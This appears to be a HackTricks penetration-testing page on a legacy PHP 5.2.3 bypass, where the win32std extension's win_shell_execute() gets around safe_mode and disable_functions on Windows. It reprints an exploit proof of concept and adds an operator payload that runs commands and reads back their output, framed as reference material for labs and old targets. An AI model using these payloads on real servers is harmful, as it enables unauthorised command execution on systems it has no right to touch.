// HackTricks · Network Services

PHP 5.2.3 - Win32std ext Protections Bypass

PHP 5.2.3 - Win32std ext Protections Bypass

This is a legacy Windows-only bypass that depends on the old win32std PECL extension exposing win_shell_execute(). It is useful in CTFs, old appliances, and abandoned shared-hosting stacks, but it is not a generic modern disable_functions bypass.

Why it works

disable_functions only blocks the PHP internals explicitly listed in php.ini. If a third-party extension exposes a helper that eventually reaches the OS itself, that helper is outside the disabled built-in function set unless the admin also removes the extension or blocks that exact entry point.

In this case, the primitive is:

win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");

The old win32std extension documented win_shell_execute(string absolute_path[, string action, string args, string dir]) as a wrapper around normal Windows shell actions. In practice, on vulnerable legacy installs this gives you a process-spawning primitive even if common functions such as system() were disabled.

Preconditions

  • Windows target
  • Very old PHP branch where safe_mode still existed
  • win32std PECL extension loaded
  • The hosting context must allow the spawned process to start under the web server account

Practical notes:

  • The original PoC was tested on PHP 5.2.3 / Windows XP SP2.
  • This technique is mostly relevant when you see phpinfo() output or an extension list containing win32std.
  • Do not assume modern community forks behave the same way. The historical PECL package is unmaintained and some newer forks keep helper/resource APIs but no longer expose win_shell_execute(), so the primitive is tied to the older extension line unless you confirm the function still exists.

2026 reality check

The easiest false positive here is seeing win32std and assuming RCE. Before spending time on payloads, verify the exact exported functions:

<?php
var_dump(extension_loaded('win32std'));
print_r(get_extension_funcs('win32std'));
var_dump(function_exists('win_shell_execute'));
?>

Things worth checking from a shell or via phpinfo():

  • Package age: the original PECL win32std package was released as 1.0 beta in 2003 and is currently marked unmaintained.[1]
  • Fork drift: you may find PHP 7/8 community ports of win32std, but some README files only advertise helpers such as win_beep, win_play_wav, and win_create_link. If win_shell_execute is missing from get_extension_funcs('win32std'), this page does not apply.
  • SAPI/account context: the process will run as the web-server identity (IUSR, apache, LocalSystem, service account, etc.), so post-exploitation impact depends on that token.

If win32std is absent, look at the parent page for different disable_functions / open_basedir bypasses, or at the other legacy Windows trick in this section.

Original PoC

The original SafeBuff post is no longer available; Exploit-DB preserves a mirror of shinnai’s PoC.[2]

<?php
//PHP 5.2.3 win32std extension safe_mode and disable_functions protections bypass

//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org

//Tested on xp Pro sp2 full patched, worked both from the cli and on apache

//Thanks to rgod for all his precious advises :)

//I set php.ini in this way:
//safe_mode = On
//disable_functions = system
//if you launch the exploit from the CLI, cmd.exe will be executed
//if you browse it through apache, you'll see a new cmd.exe process activated in taskmanager

if (!extension_loaded("win32std")) die("win32std extension required!");
system("cmd.exe"); //just to be sure that protections work well
win_shell_execute("..\\..\\..\\..\\windows\\system32\\cmd.exe");
?>

Practical operator payload

The original PoC only proves that process creation is possible. In a web context you usually want command output, and win_shell_execute() returns a boolean, not the spawned process output. Redirect stdout/stderr to a readable file and then fetch it through PHP:

<?php
$tmp = 'C:\\Windows\\Temp\\ht-win32std.txt';
@unlink($tmp);

win_shell_execute(
    'C:\\Windows\\System32\\cmd.exe',
    '',
    '/c (whoami && hostname) > "' . $tmp . '" 2>&1',
    'C:\\Windows\\Temp'
);

sleep(1);
echo nl2br(htmlentities(@file_get_contents($tmp)));
?>

A more realistic variant drops a one-shot batch file or PowerShell command into a writable directory and uses redirection for exfiltration. Because the child process is running under Windows, its file access is constrained by OS permissions, not by PHP open_basedir.

Operator notes

  • The line system("cmd.exe"); in the PoC is only a sanity check to show that the normal built-in execution function is blocked. The actual bypass is the subsequent win_shell_execute() call.
  • The relative path to cmd.exe is a convenience trick for old deployments. If you already know an absolute path, prefer passing it directly.
  • This is primarily a process execution primitive. If you need a broader survey of newer disable_functions / open_basedir bypasses, go back to the parent page:

Readme

  • On modern Windows PHP targets, the interesting pivot is usually not win32std but another bug or exposed feature set. For example, vulnerable PHP-CGI deployments on Windows were hit in 2024 by CVE-2024-4577 argument injection, which is a completely different path from this extension-based trick.[3]

Constraints

  • Legacy only: safe_mode disappeared in later PHP branches, so this page is mainly useful for historical targets and labs.
  • Extension dependent: without win32std, there is no bypass here.
  • Windows only: this has no value on Linux/*nix targets.
  • Not a modern sandbox escape: if you only control a recent PHP 8 Windows target, do not expect this primitive unless someone intentionally installed an old or custom win32std build that still exports win_shell_execute().

References